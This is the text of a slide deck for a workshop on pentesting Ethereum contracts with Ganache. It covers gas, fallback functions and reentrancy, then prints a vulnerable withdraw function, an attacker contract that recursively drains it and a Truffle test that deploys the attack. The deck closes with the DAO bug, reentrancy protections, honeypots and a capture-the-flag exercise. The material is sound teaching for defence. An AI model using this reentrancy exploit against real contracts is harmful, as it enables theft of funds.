Click on the video. It should play audio. If it doesn’t work click the disable audio slides button.
A/V Test

Get a Jumpstart

While you wait you should set things up:

Welcome to Pentesting Ethereum Contract with Ganache! We’re about to get started here. Please come in and take a seat, get your laptops ready…

Pentesting
Ethereum
Contracts

with Ganache
My name is David Murdoch. I’m the team lead for Ganache at Truffle.
truffle
Ganache Lead
truffle
Blockchain Eng.

Who is Truffle?

Truffle is a company whose goal is to build tools to get developers from idea to dapp as comfortably as possible.

 

What is Ganache?

A personal blockchain for Ethereum development

  • Ganache UI: graphical user interface
  • ganache-cli: command line tool
  • ganache-core: Node.js integration tool

Ganache UI

One-Click Blockchain

Ganache UI

Truffle Project Integration

Ganache Forking

Easy Mainnet testing without the cost



No sync needed  •   No fees required  •   No risk of losing funds

Ganache Forking

Now in Ganache UI (alpha)

Security

Ethereum development is High-Risk

Key Concepts

A few things we need to know before we get to work



Gas  •   Fallback Functions  •   Reentrancy

Gas

To transact on Ethereum you must pay a fee; this fee is paid in “gas”.

Gas is paid for in Ether.

Operations on Ethereum, i.e., storing/retrieving data, transferring funds, math(s) operations, looping, etc., require some amount of gas.

Generally, if a transaction attempts to use more gas than it is given the transaction fails and no state changes are persisted.

Fallback Functions

can execute operations as long as there is enough gas forwarded to it

A fallback function must be external and is unnamed. It is called when:

solidity
function() external payable {
 // Hello, I’m a payable fallback function.
 // I’m invoked when Ether is sent to my contract’s address
 // or when a method on my contract is called that doesn’t exist.
}

Reentrancy Vulnerability

When a contract permits unintended re-invocation of any its methods after calling an external contract during a single transaction.

Smart Contract Reentrancy allows for multiple invocations of a contract’s methods during a single transaction, usually caused by forwarding excess gas to a malicious contract’s fallback function without proper reentrancy protection.

Reentrant Vulnerability

solidity
function withdraw() external {
  // get caller’s balance
  uint256 amount = balances[msg.sender];

  // send the amount to the caller
  require(msg.sender.call.value(amount)()); 👈 reentrant vulnerability

  // zero-out the caller’s balance
  balances[msg.sender] = 0;
}

The sender is able to call withdraw again before the balance is zeroed out.

Disclaimer

Just because you can, doesn’t mean you should.

The intent of this workshop is to teach you how to protect your contracts against bad actors.

There is a difference between permissioned pentesting and white-hat (or black-hat) “hacking”.

Don’t steal. Stay legal. Be nice to people.


and Listen to Dr. Ian Malcolm

Reentrant Exploit

The attacker uses a fallback function to recursively call the target’s withdraw function.

solidity
import "./ClonedInterface.sol"; // not required, improves readability

contract BadGuyContract {
  ClonedInterface victim;
  constructor(address payable target) public payable {
    victim = ClonedInterface(target);
    victim.deposit(msg.value); 👈 initialize requirements
  }

  function beBad() {
    victim.withdraw(); 👈 c​all vulerable method
  }

  function() external payable { // fallback
    if (gasleft() < AMOUNT_NEEDED) { return; }
    victim.withdraw();
  }
}

Reentrant Exploit

The attacker uses a fallback function to recursively call the target’s withdraw function.

function withdraw() external {
  // get caller’s balance
  uint256 amount = balances[msg.sender]; 👈 check amount

  // send the amount to the caller
  require(msg.sender.call.value(amount)()); 👈 send amount

  // zero-out the caller’s balance
  balances[msg.sender] = 0;
}
solidity
import "./ClonedInterface.sol"; // not required, improves readability

contract BadGuyContract {
  ClonedInterface victim;
  constructor(address payable target) public payable {
    victim = ClonedInterface(target);
    victim.deposit(msg.value);
  }

  function beBad() {
    victim.withdraw(); 👈 c​all vulerable method
  }

  function() external payable { // fallback
    if (gasleft() < AMOUNT_NEEDED) { return; }
    victim.withdraw();
  }
}

Reentrant Exploit

The attacker uses a fallback function to recursively call the target’s withdraw function.

solidity
import "./ClonedInterface.sol"; // not required, improves readability

contract BadGuyContract {
  ClonedInterface victim;
  constructor(address payable target) public payable {
    victim = ClonedInterface(target);
    victim.deposit(msg.value);
  }

  function beBad() {
    victim.withdraw();
  }

  function() external payable { // fallback
    if (gasleft() < AMOUNT_NEEDED) { return; }
    victim.withdraw(); 👈 reenter c​ontract
  }
}

Reentrant Exploit

The attacker uses a fallback function to recursively call the target’s withdraw function.

function withdraw() external {
  // get caller’s balance
  uint256 amount = balances[msg.sender]; 👈 check amount

  // send the amount to the caller
  require(msg.sender.call.value(amount)()); 👈 send amount

  // zero-out the caller’s balance
  balances[msg.sender] = 0;
}
solidity
import "./ClonedInterface.sol"; // not required, improves readability

contract BadGuyContract {
  ClonedInterface victim;
  constructor(address payable target) public payable {
    victim = ClonedInterface(target);
    victim.deposit(msg.value);
  }

  function beBad() {
    victim.withdraw();
  }

  function() external payable { // fallback
    if (gasleft() < AMOUNT_NEEDED) { return; }
    victim.withdraw(); 👈 reenter c​ontract
  }
}

Reentrant Exploit

The attacker uses a fallback function to recursively call the target’s withdraw function.

solidity
import "./ClonedInterface.sol"; // not required, improves readability

contract BadGuyContract {
  ClonedInterface victim;
  constructor(address payable target) public payable {
    victim = ClonedInterface(target);
    victim.deposit(msg.value);
  }

  function beBad() {
    victim.withdraw();
  }

  function() external payable { // fallback
    if (gasleft() < AMOUNT_NEEDED) { return; }
    victim.withdraw(); 👈 reenter c​ontract, again, ad infinitum…
  }
}

Reentrant Execution

The attacker deploys their BadGuyContract contract and executes the attack against the target contract.

bad@guy:~$ truffle test
javascript (with truffle)
const BadGuyContract = artifacts.require("./BadGuyContract.sol");

contract("BadGuyContract", accounts => {
  it("exploits the target contract", async () => {
    const target = "0x..."; // target’s address

    // deploy the BadGuyContract, seeding it with 1 Ether
    const value = web3.utils.toWei(1);
    const contract = await BadGuyContract.deploy(target, {value});

    // execute the attack, stealing Ether from the target
    await contract.beBad();
  });
});

What we’ve covered so far

  • Truffle
  • Ganache
  • Ganache Forking
  • Gas
  • Fallback Functions
  • Reentrancy
  • Exploit
  • truffle test

Questions?

DAO Hack

The most infamous Ethereum reentrancy attack

 

solidity
// simplified version of the DAO vulerability
function payOut(address _recipient, uint _amount) returns (bool) {
  // send `_amount` to `_recipient`, forwarding all remaining gas
  if (_recipient.call.value(_amount)()) { 👈 reentrancy vulerability
    // then, if successful, mark `_recipient` as paid
    PayOut(_recipient, _amount);
    return true;
  } else {
    return false;
  }
}

Reentrancy Protection

solidity
// 1) Checks-Effects-Interactions pattern
function withdraw() external {
  require(balances[msg.sender] > 0); 👈 check
  uint256 amount = balances[msg.sender];
  // set balance to 0 before calling external contract
  balances[msg.sender] = 0; 👈 effect
  require(msg.sender.call.value(amount)()); 👈 interaction
}

// 2) use a mutex or OpenZeppelin’s ReentrancyGuard
function withdraw() external {
  require(!lock, "Reentrancy not allowed");
  lock = true; 👈 lock
  /* do the things */  👈 do things
  lock = false; 👈 unlock
}

An Anti Pattern

Using address.send or address.transfer to protect against reentrancy is an anti-pattern

address.call forwards all remaining gas by default, while address.transfer and address.send only forward 2300* gas.

2300 gas is not enough gas to allow for reentrancy, so it appears that we are safe!

However, this may not be true in future hardforks! You should not rely on gas costs to protect against reentrancy!

* ish, it’s complicated

Constantinople

Reduced storage costs allowed for reentrancy where it wasn’t possible before

An EIP included in Constantinople would have lowered the minimum cost of storage from 5000 gas to 200 gas.

This could have introduced vulerabilities into contracts that rely on the default gas stipend of transfer/send for protection.

The EIP was removed in Petersburg and was never live on Mainnet*.

* ish, it’s also complicated

Istanbul

Istanbul’s increased gas costs may break some contracts

Some contracts are coded to rely on gas costs remaining the same and will now run out of gas.

You probably shouldn’t use address.transfer or address.send.


solidity
// previously worked; breaks under Istanbul!
function() public payable {
  require(total() + msg.value <= limit);
}

Do not rely on gas costs to protect against reentrancy!

testing

The Honeypot

Hack the Hacker

What if we could design a contract that would not only stop the bad guy, but make the bad guy themselves the victim!

That is what an Ethereum honeypot contract is*: a contract that is cleverly disguised to look vulnerabile, but isn’t.

* in infosec this is a “mousetrap”, but in Ethereum we’ve been calling it a honeypot… so a honeypot it is.

testing

Types of Honeypots

There are many ways to craft a honeypot; here are some tricky ones:

Zone Technique
Ethereum Virtual Machine Balance Disorder
Solidity Compiler Inheritance Disorder
Skip Empty String Literal
Type Deduction Overflow
Uninitialised Struct
Etherscan Blockchain Explorer Hidden State Update
Hidden Transfer
Straw Man Contract
More Info: The Art of The Scam: Demystifying Honeypots in Ethereum Smart Contracts
You really should read some of this. (hint hint)
Don’t forget to say "Here is a re-enactment of Ganache in action."

The Trace Buster Buster

Ganache Forking enables us to emulate sending transactions to Mainnet contracts, without any costs or risk of loss.

The Big Hit (1998)

What we’ve covered:

  • Truffle
  • Ganache & Ganache Forking
  • Gas
  • Fallback Functions
  • Reentrancy, Exploit, Testing, DAO
  • Constantinople & Istanbul
  • Reentrancy Protection
  • Honeypot

Questions?

Workshop Time!

Get ready:

Workshop Recap

Used Ganache and Ganache Forking to detect a honeypot

  • Without Forking

  • 1. Started Ganache
  • 2. Deployed contract
  • 3. Ran test
  • 4. Exploit worked!
  • Ganache Mainnet Forking

  • 1. Started Ganache
  • 2. Deployed contract
  • 3. Ran test
  • 4. Exploit failed‽

Capture the Flag

StealWin 1 Ether by exploiting a reentrancy attack in our specially crafted, extra sticky, contract!

Be careful though; if you hit a honeypot you’ll get locked out!

Contract address: 0x_______________________


trfl.co/honeypot